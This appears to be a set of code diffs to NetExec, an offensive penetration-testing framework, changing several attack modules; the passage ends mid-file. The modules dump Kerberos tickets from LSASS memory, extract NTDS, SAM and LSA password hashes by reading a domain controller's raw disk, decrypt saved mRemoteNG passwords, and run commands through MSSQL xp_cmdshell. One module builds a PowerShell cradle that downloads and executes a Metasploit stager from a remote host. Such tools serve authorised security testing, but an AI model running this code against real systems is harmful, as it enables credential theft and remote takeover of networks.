||||
interface_name = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_name_handle, "Name")[1].rstrip("\x00")
|
||||
interface["Name"] = str(interface_name)
|
||||
if "Kernel" in interface_name:
|
||||
continue
|
||||
|
||||
# Retrieve DHCP
|
||||
try:
|
||||
dhcp_enabled = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "EnableDHCP")[1]
|
||||
except DCERPCException:
|
||||
dhcp_enabled = False
|
||||
interface["DHCP"] = bool(dhcp_enabled)
|
||||
|
||||
# Retrieve IPAddress
|
||||
try:
|
||||
ip_address = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpIPAddress" if dhcp_enabled else "IPAddress")[1].rstrip("\x00").replace("\x00", ", ")
|
||||
except DCERPCException:
|
||||
ip_address = None
|
||||
interface["IPAddress"] = ip_address if ip_address else None
|
||||
|
||||
# Retrieve SubnetMask
|
||||
try:
|
||||
subnetmask = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "SubnetMask")[1].rstrip("\x00").replace("\x00", ", ")
|
||||
except DCERPCException:
|
||||
subnetmask = None
|
||||
interface["SubnetMask"] = subnetmask if subnetmask else None
|
||||
|
||||
# Retrieve DefaultGateway
|
||||
try:
|
||||
default_gateway = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpDefaultGateway")[1].rstrip("\x00").replace("\x00", ", ")
|
||||
except DCERPCException:
|
||||
default_gateway = None
|
||||
interface["DefaultGateway"] = default_gateway if default_gateway else None
|
||||
|
||||
context.log.highlight(f"{interface['Name']:<11} | {interface['IPAddress']!s:<15} | {interface['SubnetMask']!s:<15} | {interface['DefaultGateway']!s:<15} | {interface['DHCP']}")
|
||||
|
||||
except DCERPCException as e:
|
||||
context.log.info(f"Failed to retrieve the network interface info for {sub_key}: {e!s}")
|
||||
|
||||
with contextlib.suppress(Exception):
|
||||
remoteOps.finish()
|
||||
except DCERPCException as e:
|
||||
context.log.error(f"Failed to connect to the target: {e!s}")
|
||||
@@ -25,7 +25,7 @@ class NXCModule:
|
||||
self.context.log.display(f" - {server}")
|
||||
else:
|
||||
self.context.log.fail("No linked servers found.")
|
||||
|
||||
|
||||
if connection.admin_privs:
|
||||
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
|
||||
srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
|
||||
|
||||
@@ -42,14 +42,14 @@ class NXCModule:
|
||||
domain_prefix = f"{domain_name}\\" if domain_name else ""
|
||||
|
||||
query = f"""
|
||||
SELECT
|
||||
SELECT
|
||||
name,
|
||||
type,
|
||||
type_desc,
|
||||
CASE type_desc
|
||||
CASE type_desc
|
||||
WHEN 'SQL_LOGIN' THEN 'SQL User'
|
||||
WHEN 'WINDOWS_LOGIN' THEN
|
||||
CASE
|
||||
WHEN 'WINDOWS_LOGIN' THEN
|
||||
CASE
|
||||
WHEN name LIKE '{domain_prefix}%' THEN 'Domain User'
|
||||
WHEN name LIKE '%\\%' THEN 'Local User'
|
||||
ELSE 'Local User'
|
||||
@@ -61,7 +61,7 @@ class NXCModule:
|
||||
END as login_type,
|
||||
is_disabled,
|
||||
create_date
|
||||
FROM sys.server_principals
|
||||
FROM sys.server_principals
|
||||
WHERE type IN ('S', 'U', 'G', 'C', 'K')
|
||||
AND name NOT LIKE '##%'
|
||||
ORDER BY login_type, name;
|
||||
|
||||
@@ -21,7 +21,7 @@ class NXCModule:
|
||||
self.limit = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
"""
|
||||
METHOD EventLog method (Execute or RPCCALL), default: execute
|
||||
M Alias for METHOD
|
||||
LIMIT Limit of the number of records to be fetched, default: unlimited
|
||||
|
||||
@@ -41,4 +41,3 @@ class NXCModule:
|
||||
# Filter
|
||||
context.log.debug(f"Filter info field with: {self.FILTER}")
|
||||
return [answer for answer in answers if self.FILTER in answer[1]]
|
||||
|
||||
@@ -79,10 +79,10 @@ class NXCModule:
|
||||
ssl_context = ssl.create_default_context()
|
||||
ssl_context.check_hostname = False
|
||||
ssl_context.verify_mode = ssl.CERT_NONE
|
||||
|
||||
|
||||
with socket.create_connection((connection.host, 636)) as sock, ssl_context.wrap_socket(sock, server_hostname=connection.host) as ssl_sock:
|
||||
cert = ssl_sock.getpeercert(binary_form=True)
|
||||
|
||||
|
||||
if cert:
|
||||
cert_hash = hashlib.sha256(cert).digest()
|
||||
context.log.debug(f"Original certificate hash: {cert_hash.hex()}")
|
||||
@@ -109,7 +109,7 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
context.log.fail(f"Exception in run_ldaps_withEPA: {e}")
|
||||
return None
|
||||
|
||||
|
||||
# Domain Controllers do not have a certificate setup for
|
||||
# LDAPS on port 636 by default. If this has not been setup,
|
||||
# the TLS handshake will hang and you will not be able to
|
||||
@@ -138,7 +138,7 @@ class NXCModule:
|
||||
return False
|
||||
finally:
|
||||
ssl_sock.close()
|
||||
|
||||
|
||||
# Conduct an LDAP bind and determine if server signing
|
||||
# requirements are enforced based on potential errors
|
||||
# during the bind attempt.
|
||||
@@ -167,9 +167,9 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
context.log.debug(f"Exception during LDAP bind: {e}")
|
||||
return None
|
||||
|
||||
|
||||
# Determine authentication context and proceed to
|
||||
# enumerate LDAP signing and channel binding settings
|
||||
# enumerate LDAP signing and channel binding settings
|
||||
def on_login(self, context, connection):
|
||||
context.log.fail("[REMOVED] Now natively supported in the host banner")
|
||||
return
|
||||
@@ -255,4 +255,4 @@ class NXCModule:
|
||||
else:
|
||||
context.log.fail("Could not determine LDAPS channel binding settings")
|
||||
else:
|
||||
context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured")
|
||||
context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured")
|
||||
@@ -31,14 +31,14 @@ class NXCModule:
|
||||
self.context.log.display(f"Running command on {self.linked_server}: {self.command}")
|
||||
query = f"EXEC ('xp_cmdshell ''{self.command}''') AT [{self.linked_server}]"
|
||||
result = self.mssql_conn.sql_query(query)
|
||||
|
||||
|
||||
if result:
|
||||
output_lines = []
|
||||
for row in result:
|
||||
output_value = row.get("output")
|
||||
if output_value and output_value != "NULL":
|
||||
output_lines.append(str(output_value))
|
||||
|
||||
|
||||
if output_lines:
|
||||
self.context.log.success("Executed command via linked server")
|
||||
for line in output_lines:
|
||||
|
||||
+75
-2
@@ -4,12 +4,17 @@
|
||||
# https://beta.hackndo.com [FR]
|
||||
# https://en.hackndo.com [EN]
|
||||
|
||||
import os
|
||||
import sys
|
||||
from lsassy.dumper import Dumper
|
||||
from lsassy.impacketfile import ImpacketFile
|
||||
from lsassy.parser import Parser
|
||||
from lsassy.session import Session
|
||||
|
||||
from impacket.krb5.ccache import CCache
|
||||
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -21,13 +26,33 @@ class NXCModule:
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.method = None
|
||||
self.dump_tickets = True
|
||||
self.save_dir = os.path.join(NXC_PATH, "modules", "lsassy")
|
||||
self.ticket_type = "ccache"
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""METHOD Method to use to dump lsass.exe with lsassy"""
|
||||
"""
|
||||
METHOD Method to use to dump lsass.exe with lsassy
|
||||
DUMP_TICKETS If set, will dump Kerberos tickets (Default: True)
|
||||
SAVE_DIR Directory to save dumped tickets
|
||||
SAVE_TYPE Type of ticket to save, either 'kirbi' or 'ccache' (Default: 'ccache')
|
||||
"""
|
||||
self.method = "comsvcs"
|
||||
if "METHOD" in module_options:
|
||||
self.method = module_options["METHOD"]
|
||||
|
||||
if "DUMP_TICKETS" in module_options:
|
||||
self.dump_tickets = module_options["DUMP_TICKETS"].lower() in ["true"]
|
||||
|
||||
if "SAVE_DIR" in module_options:
|
||||
self.save_dir = module_options["SAVE_DIR"]
|
||||
|
||||
if "SAVE_TYPE" in module_options:
|
||||
self.ticket_type = module_options["SAVE_TYPE"]
|
||||
if self.ticket_type not in ["kirbi", "ccache"]:
|
||||
context.log.error(f"Invalid SAVE_TYPE '{self.ticket_type}'. Supported types are 'kirbi' and 'ccache'.")
|
||||
sys.exit(1)
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
host = connection.host
|
||||
domain_name = connection.domain
|
||||
@@ -67,7 +92,6 @@ class NXCModule:
|
||||
context.log.fail("Unable to parse lsass dump")
|
||||
return False
|
||||
credentials, tickets, masterkeys = parsed
|
||||
|
||||
file.close()
|
||||
context.log.debug("Closed dumper file")
|
||||
file_path = file.get_file_path()
|
||||
@@ -84,6 +108,9 @@ class NXCModule:
|
||||
if credentials is None:
|
||||
credentials = []
|
||||
|
||||
if self.dump_tickets and tickets:
|
||||
self.write_tickets(context, tickets, host)
|
||||
|
||||
for cred in credentials:
|
||||
c = cred.get_object()
|
||||
context.log.debug(f"Cred: {c}")
|
||||
@@ -116,6 +143,52 @@ class NXCModule:
|
||||
context.log.debug("Calling process_credentials")
|
||||
self.process_credentials(context, connection, credentials_output)
|
||||
|
||||
def write_tickets(self, context, tickets, host):
|
||||
if not tickets:
|
||||
context.log.display("No Kerberos tickets found")
|
||||
return
|
||||
|
||||
if not os.path.exists(self.save_dir):
|
||||
try:
|
||||
os.makedirs(self.save_dir)
|
||||
context.log.debug(f"Created directory: {self.save_dir} for saving tickets")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error creating directory {self.save_dir}: {e}")
|
||||
return
|
||||
|
||||
ticket_count = 0
|
||||
for ticket in tickets:
|
||||
for filename in ticket.kirbi_data:
|
||||
try:
|
||||
base_filename = filename.split(".kirbi")[0]
|
||||
timestamp = ticket.EndTime.strftime("%Y%m%d%H%M%S")
|
||||
kirbi_data = ticket.kirbi_data[filename]
|
||||
|
||||
if self.ticket_type == "ccache":
|
||||
ccache = CCache()
|
||||
ccache.fromKRBCRED(kirbi_data.dump())
|
||||
ticket_filename = f"{base_filename}_{host}_{timestamp}.ccache"
|
||||
ticket_content = ccache.getData()
|
||||
else:
|
||||
ticket_filename = f"{base_filename}_{host}_{timestamp}.kirbi"
|
||||
ticket_content = kirbi_data.dump()
|
||||
|
||||
ticket_path = os.path.join(self.save_dir, ticket_filename)
|
||||
|
||||
with open(ticket_path, "wb") as f:
|
||||
f.write(ticket_content)
|
||||
|
||||
ticket_count += 1
|
||||
context.log.debug(f"Saved ticket: {ticket_filename}")
|
||||
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error writing ticket {filename}: {e}")
|
||||
|
||||
if ticket_count > 0:
|
||||
context.log.highlight(f"Saved {ticket_count} Kerberos ticket(s) to {self.save_dir}")
|
||||
else:
|
||||
context.log.display("No tickets were saved")
|
||||
|
||||
def process_credentials(self, context, connection, credentials):
|
||||
if len(credentials) == 0:
|
||||
context.log.display("No credentials found")
|
||||
|
||||
@@ -25,7 +25,7 @@ class NXCModule:
|
||||
SRVPORT Stager port
|
||||
RAND Random string given by metasploit (if using web_delivery)
|
||||
SSL Stager server use https or http (default: https)
|
||||
|
||||
|
||||
This module is compatable with --obfs, --force-ps32 (PowerShell execution options)
|
||||
|
||||
multi/handler method that don't require RAND:
|
||||
@@ -60,14 +60,14 @@ class NXCModule:
|
||||
proto = "http" if self.met_ssl == "http" else "https"
|
||||
metasploit_endpoint = f"{proto}://{self.srvhost}:{self.srvport}/{self.rand}"
|
||||
context.log.debug(f"{metasploit_endpoint=}")
|
||||
|
||||
|
||||
# use single quotes inside because if we run this in 32bit PowerShell, the entire command is double quoted (see helpers/powershell.py:create_ps_command())
|
||||
command = f"$ProgressPreference = 'SilentlyContinue'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{metasploit_endpoint}');"
|
||||
context.log.debug(f"Running command via ps_execute: {command}")
|
||||
|
||||
|
||||
output = connection.ps_execute(command)
|
||||
context.log.debug(f"Received output from ps_execute: {output}")
|
||||
|
||||
|
||||
if output and "Unable to connect to the remote server" in output:
|
||||
context.log.error("Executed payload, but the cradle was unable to download the stager, is the Metasploit server running?")
|
||||
else:
|
||||
|
||||
@@ -32,7 +32,7 @@ class NXCModule:
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
|
||||
@@ -42,7 +42,7 @@ class NXCModule:
|
||||
"Users\\{username}\\AppData\\Local\\mRemoteNG",
|
||||
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
|
||||
]
|
||||
|
||||
|
||||
self.custom_user_path = [
|
||||
"Users\\{username}\\Desktop",
|
||||
"Users\\{username}\\Documents",
|
||||
@@ -57,7 +57,7 @@ class NXCModule:
|
||||
CUSTOM_PATH Custom path to confCons.xml file
|
||||
"""
|
||||
self.context = context
|
||||
|
||||
|
||||
self.password = "mR3m"
|
||||
if "PASSWORD" in module_options:
|
||||
self.password = module_options["PASSWORD"]
|
||||
@@ -119,7 +119,7 @@ class NXCModule:
|
||||
if content is not None:
|
||||
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
|
||||
self.handle_confCons_file(content)
|
||||
|
||||
|
||||
def get_users(self, conn):
|
||||
users = []
|
||||
|
||||
@@ -130,7 +130,7 @@ class NXCModule:
|
||||
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
|
||||
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
|
||||
return users
|
||||
|
||||
|
||||
def handle_confCons_file(self, file_content):
|
||||
main = objectify.fromstring(file_content)
|
||||
encryption_attributes = MRemoteNgEncryptionAttributes(
|
||||
@@ -139,7 +139,7 @@ class NXCModule:
|
||||
encryption_engine=main.attrib["EncryptionEngine"],
|
||||
full_file_encryption=bool(main.attrib["FullFileEncryption"]),
|
||||
)
|
||||
|
||||
|
||||
for node_attribute in self.parse_xml_nodes(main):
|
||||
password = self.extract_remoteng_passwords(node_attribute["Password"], encryption_attributes)
|
||||
if password == b"":
|
||||
@@ -150,7 +150,7 @@ class NXCModule:
|
||||
username = node_attribute["Username"]
|
||||
protocol = node_attribute["Protocol"]
|
||||
port = node_attribute["Port"]
|
||||
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
|
||||
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
|
||||
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
|
||||
|
||||
def parse_xml_nodes(self, main):
|
||||
@@ -163,7 +163,7 @@ class NXCModule:
|
||||
nodes.append(node.attrib)
|
||||
nodes = nodes + self.parse_xml_nodes(node)
|
||||
return nodes
|
||||
|
||||
|
||||
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
|
||||
directory_list = conn.remote_list_dir(self.share, directory_path)
|
||||
if directory_list is not None:
|
||||
@@ -179,7 +179,7 @@ class NXCModule:
|
||||
self.context.log.info(f"Found confCons.xml file: {new_path}")
|
||||
content = conn.readFile(self.context.share, new_path)
|
||||
self.handle_confCons_file(content)
|
||||
|
||||
|
||||
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
|
||||
encrypted_password = b64decode(encrypted_password)
|
||||
if encrypted_password == b"":
|
||||
@@ -203,4 +203,4 @@ class NXCModule:
|
||||
cipher.update(associated_data)
|
||||
return cipher.decrypt_and_verify(ciphertext, tag).decode("latin-1")
|
||||
else:
|
||||
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}: Not yet implemented")
|
||||
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}: Not yet implemented")
|
||||
@@ -30,10 +30,10 @@ class NXCModule:
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("C$", file_path, buf.write)
|
||||
buf.seek(0)
|
||||
file_content = buf.read().decode("utf-8", errors="ignore").lower()
|
||||
file_content = buf.read().decode("utf-8", errors="ignore").lower()
|
||||
context.log.highlight(f"C:\\{file_path}")
|
||||
for line in file_content.splitlines():
|
||||
context.log.highlight(f"\t{line}")
|
||||
context.log.highlight(f"\t{line}")
|
||||
filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt"
|
||||
export_path = join(NXC_PATH, "modules", "notepad++")
|
||||
path = abspath(join(export_path, filename))
|
||||
|
||||
@@ -191,4 +191,4 @@ class NXCModule:
|
||||
else:
|
||||
return es
|
||||
else:
|
||||
return str(exception)
|
||||
return str(exception)
|
||||
+166
-128
@@ -10,24 +10,16 @@ from dataclasses import dataclass, field
|
||||
import random
|
||||
import gzip
|
||||
from io import BytesIO
|
||||
from impacket.examples.secretsdump import LocalOperations, NTDSHashes, SAMHashes
|
||||
from impacket.examples.secretsdump import LocalOperations, NTDSHashes, SAMHashes, LSASecrets
|
||||
from nxc.helpers.misc import validate_ntlm
|
||||
from nxc.helpers.powershell import get_ps_script
|
||||
import sys
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "ntds-dump-raw"
|
||||
description = "Extracting the ntds.dit, SAM, and SYSTEM files from DC by accessing the raw hard drive."
|
||||
supported_protocols = ["smb", "wmi", "winrm"]
|
||||
|
||||
files_full_location_to_extract = [
|
||||
"Windows/System32/config/SYSTEM",
|
||||
"Windows/System32/config/SAM",
|
||||
"Windows/NTDS/ntds.dit",
|
||||
]
|
||||
files_to_extract = [c_filename.split("/")[-1] for c_filename in files_full_location_to_extract]
|
||||
number_of_file_to_extract = len(files_to_extract)
|
||||
extracted_files_location_local = {"SAM": "", "SYSTEM": "", "ntds.dit": ""}
|
||||
NTFS_LOCATION = 0
|
||||
MFT_LOCATION = 0
|
||||
context = None
|
||||
@@ -83,7 +75,36 @@ class NXCModule:
|
||||
full_path: str = ""
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""No options available"""
|
||||
"""TARGET: Specify the source from which the hashes will be extracted [NTDS, SAM, LSA] or any combination of them
|
||||
Usage: nxc smb $IP -u Username -p Password -M ntds-dump-raw -o TARGET=SAM
|
||||
nxc smb $IP -u Username -p Password -M ntds-dump-raw -o TARGET=NTDS,LSA,SAM
|
||||
$IP can be a Domain Controller or a regular Windows machine.
|
||||
"""
|
||||
available_options = {
|
||||
"NTDS": "Windows/NTDS/ntds.dit",
|
||||
"LSA": "Windows/System32/config/SECURITY",
|
||||
"SAM": "Windows/System32/config/SAM"
|
||||
}
|
||||
self.files_full_location_to_extract = []
|
||||
if "TARGET" in module_options:
|
||||
selected_options = module_options["TARGET"].split(",")
|
||||
for option in selected_options:
|
||||
if option in available_options:
|
||||
self.files_full_location_to_extract.append(available_options[option])
|
||||
else:
|
||||
context.log.error(f"Uknown option format : {option}")
|
||||
sys.exit(1)
|
||||
else:
|
||||
self.files_full_location_to_extract.append(available_options["NTDS"])
|
||||
self.files_full_location_to_extract.append(available_options["SAM"])
|
||||
|
||||
# Add SYSTEM by default as needed for decryption
|
||||
self.files_full_location_to_extract.append("Windows/System32/config/SYSTEM")
|
||||
|
||||
# Prepare the files to extract
|
||||
self.files_to_extract = [c_filename.split("/")[-1] for c_filename in self.files_full_location_to_extract]
|
||||
self.number_of_file_to_extract = len(self.files_to_extract)
|
||||
self.extracted_files_location_local = dict.fromkeys(self.files_to_extract, "")
|
||||
|
||||
def read_from_disk(self, offset, size):
|
||||
"""Get the raw content of the disk based on the specified offset and size by executing PowerShell code on the remote target"""
|
||||
@@ -118,7 +139,7 @@ class NXCModule:
|
||||
first_section = self.read_from_disk(0, 1024)
|
||||
if len(first_section) == 0:
|
||||
self.logger.fail("Unable to read the Disk, try changing the --exec-method flag")
|
||||
if first_section[512 : 512 + 8] == b"EFI PART":
|
||||
if first_section[512: 512 + 8] == b"EFI PART":
|
||||
self.logger.display("Disk is formated using GPT")
|
||||
NTFS_LOCATION = self.analyze_gpt("\\\\.\\PhysicalDrive0")
|
||||
if NTFS_LOCATION == -1:
|
||||
@@ -128,10 +149,10 @@ class NXCModule:
|
||||
max_parition_size = 0
|
||||
NTFS_LOCATION = self.bytes_to_int_unsigned(first_section[0x1C6:0x1CA]) * self.SECTOR_SIZE
|
||||
for partition_indx in range(4):
|
||||
curr_partition_size = self.bytes_to_int_unsigned(first_section[0x1CA + (partition_indx * 0x10) : 0x1CE + (partition_indx * 0x10)])
|
||||
curr_partition_size = self.bytes_to_int_unsigned(first_section[0x1CA + (partition_indx * 0x10): 0x1CE + (partition_indx * 0x10)])
|
||||
if curr_partition_size > max_parition_size:
|
||||
max_parition_size = curr_partition_size
|
||||
NTFS_LOCATION = self.bytes_to_int_unsigned(first_section[0x1C6 + (partition_indx * 0x10) : 0x1CA + (partition_indx * 0x10)]) * self.SECTOR_SIZE
|
||||
NTFS_LOCATION = self.bytes_to_int_unsigned(first_section[0x1C6 + (partition_indx * 0x10): 0x1CA + (partition_indx * 0x10)]) * self.SECTOR_SIZE
|
||||
|
||||
self.logger.display(f"NTFS Location {hex(NTFS_LOCATION)}")
|
||||
self.NTFS_LOCATION = NTFS_LOCATION
|
||||
@@ -148,127 +169,144 @@ class NXCModule:
|
||||
self.read_MFT(MFT_file_header)
|
||||
|
||||
if self.number_of_file_to_extract != 0:
|
||||
self.logger.fail("Unable to find all needed files")
|
||||
return
|
||||
self.logger.fail("Unable to find all needed files, trying to work with what we have")
|
||||
|
||||
self.logger.success("Heads up, hashes on the way...")
|
||||
self.dump_ntds()
|
||||
self.dump_hashes()
|
||||
|
||||
def dump_ntds(self):
|
||||
def dump_hashes(self):
|
||||
"""Dumping NTDS and SAM hashes locally from the extracted files"""
|
||||
# Mostly from nxc/modules/ntdsutil.py
|
||||
local_operations = LocalOperations(self.extracted_files_location_local["SYSTEM"])
|
||||
boot_key = local_operations.getBootKey()
|
||||
no_lm_hash = local_operations.checkNoLMHashPolicy()
|
||||
|
||||
# SAM hashes
|
||||
def add_SAM_hash(SAM_hash, host_id):
|
||||
"""Extract SAM hashes"""
|
||||
add_SAM_hash.SAM_hashes += 1
|
||||
SAM_hash = SAM_hash.split(" ")[0]
|
||||
self.logger.highlight(SAM_hash)
|
||||
if SAM_hash.find("$") == -1:
|
||||
if SAM_hash.find("\\") != -1:
|
||||
domain, clean_hash = SAM_hash.split("\\")
|
||||
else:
|
||||
domain = self.domain
|
||||
clean_hash = SAM_hash
|
||||
|
||||
try:
|
||||
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
|
||||
parsed_hash = f"{lmhash}:{nthash}"
|
||||
if validate_ntlm(parsed_hash):
|
||||
self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
|
||||
add_SAM_hash.added_to_db += 1
|
||||
return
|
||||
raise
|
||||
except Exception:
|
||||
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
|
||||
else:
|
||||
self.logger.debug("Dumped hash is a computer account, not adding to db")
|
||||
|
||||
add_SAM_hash.SAM_hashes = 0
|
||||
add_SAM_hash.added_to_db = 0
|
||||
|
||||
SAM = SAMHashes(
|
||||
self.extracted_files_location_local["SAM"],
|
||||
boot_key,
|
||||
isRemote=False,
|
||||
perSecretCallback=lambda secret: add_SAM_hash(secret, self.host),
|
||||
)
|
||||
|
||||
# NTDS
|
||||
def add_ntds_hash(ntds_hash, host_id):
|
||||
"""Extract NTDS hashes"""
|
||||
add_ntds_hash.ntds_hashes += 1
|
||||
ntds_hash = ntds_hash.split(" ")[0]
|
||||
self.logger.highlight(ntds_hash)
|
||||
if ntds_hash.find("$") == -1:
|
||||
if ntds_hash.find("\\") != -1:
|
||||
domain, clean_hash = ntds_hash.split("\\")
|
||||
else:
|
||||
domain = self.domain
|
||||
clean_hash = ntds_hash
|
||||
|
||||
try:
|
||||
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
|
||||
parsed_hash = f"{lmhash}:{nthash}"
|
||||
if validate_ntlm(parsed_hash):
|
||||
self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
|
||||
add_ntds_hash.added_to_db += 1
|
||||
return
|
||||
raise
|
||||
except Exception:
|
||||
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
|
||||
else:
|
||||
self.logger.debug("Dumped hash is a computer account, not adding to db")
|
||||
|
||||
add_ntds_hash.ntds_hashes = 0
|
||||
add_ntds_hash.added_to_db = 0
|
||||
|
||||
# NTDS hashes
|
||||
NTDS = NTDSHashes(
|
||||
self.extracted_files_location_local["ntds.dit"],
|
||||
boot_key,
|
||||
isRemote=False,
|
||||
history=False,
|
||||
noLMHash=no_lm_hash,
|
||||
remoteOps=None,
|
||||
useVSSMethod=True,
|
||||
justNTLM=True,
|
||||
pwdLastSet=False,
|
||||
resumeSession=None,
|
||||
outputFileName=self.output_filename,
|
||||
justUser=None,
|
||||
printUserStatus=True,
|
||||
perSecretCallback=lambda secretType, secret: add_ntds_hash(secret, self.host),
|
||||
)
|
||||
if "ntds.dit" in self.extracted_files_location_local and self.extracted_files_location_local["ntds.dit"] != "":
|
||||
def add_ntds_hash(ntds_hash, host_id):
|
||||
"""Extract NTDS hashes"""
|
||||
add_ntds_hash.ntds_hashes += 1
|
||||
ntds_hash = ntds_hash.split(" ")[0]
|
||||
self.logger.highlight(ntds_hash)
|
||||
if ntds_hash.find("$") == -1:
|
||||
if ntds_hash.find("\\") != -1:
|
||||
domain, clean_hash = ntds_hash.split("\\")
|
||||
else:
|
||||
domain = self.domain
|
||||
clean_hash = ntds_hash
|
||||
|
||||
try:
|
||||
self.logger.success("NTDS hashes:")
|
||||
NTDS.dump()
|
||||
except Exception as e:
|
||||
self.logger.fail(e)
|
||||
try:
|
||||
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
|
||||
parsed_hash = f"{lmhash}:{nthash}"
|
||||
if validate_ntlm(parsed_hash):
|
||||
self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
|
||||
add_ntds_hash.added_to_db += 1
|
||||
return
|
||||
raise
|
||||
except Exception:
|
||||
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
|
||||
else:
|
||||
self.logger.debug("Dumped hash is a computer account, not adding to db")
|
||||
|
||||
try:
|
||||
self.logger.success("SAM hashes:")
|
||||
SAM.dump()
|
||||
SAM.export(self.output_filename)
|
||||
except Exception as e:
|
||||
self.logger.debug(e)
|
||||
add_ntds_hash.ntds_hashes = 0
|
||||
add_ntds_hash.added_to_db = 0
|
||||
|
||||
self.logger.success(f"Dumped {add_SAM_hash.SAM_hashes} SAM hashes to {self.output_filename}.sam of which {add_SAM_hash.added_to_db} were added to the database")
|
||||
self.logger.success(f"Dumped {add_ntds_hash.ntds_hashes} NTDS hashes to {self.output_filename}.ntds of which {add_ntds_hash.added_to_db} were added to the database")
|
||||
NTDS = NTDSHashes(
|
||||
self.extracted_files_location_local["ntds.dit"],
|
||||
boot_key,
|
||||
isRemote=False,
|
||||
history=False,
|
||||
noLMHash=no_lm_hash,
|
||||
remoteOps=None,
|
||||
useVSSMethod=True,
|
||||
justNTLM=True,
|
||||
pwdLastSet=False,
|
||||
resumeSession=None,
|
||||
outputFileName=self.output_filename,
|
||||
justUser=None,
|
||||
printUserStatus=True,
|
||||
perSecretCallback=lambda secretType, secret: add_ntds_hash(secret, self.host),
|
||||
)
|
||||
|
||||
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
|
||||
self.logger.display(f"grep -iv disabled {self.output_filename}.ntds | cut -d ':' -f1")
|
||||
try:
|
||||
self.logger.success("NTDS hashes:")
|
||||
NTDS.dump()
|
||||
except Exception as e:
|
||||
self.logger.fail(e)
|
||||
|
||||
SAM.finish()
|
||||
NTDS.finish()
|
||||
NTDS.finish()
|
||||
|
||||
# SAM hashes
|
||||
if "SAM" in self.extracted_files_location_local and self.extracted_files_location_local["SAM"] != "":
|
||||
def add_SAM_hash(SAM_hash, host_id):
|
||||
"""Extract SAM hashes"""
|
||||
add_SAM_hash.SAM_hashes += 1
|
||||
SAM_hash = SAM_hash.split(" ")[0]
|
||||
self.logger.highlight(SAM_hash)
|
||||
if SAM_hash.find("$") == -1:
|
||||
if SAM_hash.find("\\") != -1:
|
||||
domain, clean_hash = SAM_hash.split("\\")
|
||||
else:
|
||||
domain = self.domain
|
||||
clean_hash = SAM_hash
|
||||
try:
|
||||
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
|
||||
parsed_hash = f"{lmhash}:{nthash}"
|
||||
if validate_ntlm(parsed_hash):
|
||||
self.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
|
||||
add_SAM_hash.added_to_db += 1
|
||||
return
|
||||
raise
|
||||
except Exception:
|
||||
self.logger.debug("Dumped hash is not NTLM, not adding to db for now ;)")
|
||||
else:
|
||||
self.logger.debug("Dumped hash is a computer account, not adding to db")
|
||||
|
||||
add_SAM_hash.SAM_hashes = 0
|
||||
add_SAM_hash.added_to_db = 0
|
||||
|
||||
SAM = SAMHashes(
|
||||
self.extracted_files_location_local["SAM"],
|
||||
boot_key,
|
||||
isRemote=False,
|
||||
perSecretCallback=lambda secret: add_SAM_hash(secret, self.host),
|
||||
)
|
||||
try:
|
||||
self.logger.success("SAM hashes:")
|
||||
SAM.dump()
|
||||
SAM.export(self.output_filename)
|
||||
except Exception as e:
|
||||
self.logger.debug(e)
|
||||
SAM.finish()
|
||||
|
||||
# LSA
|
||||
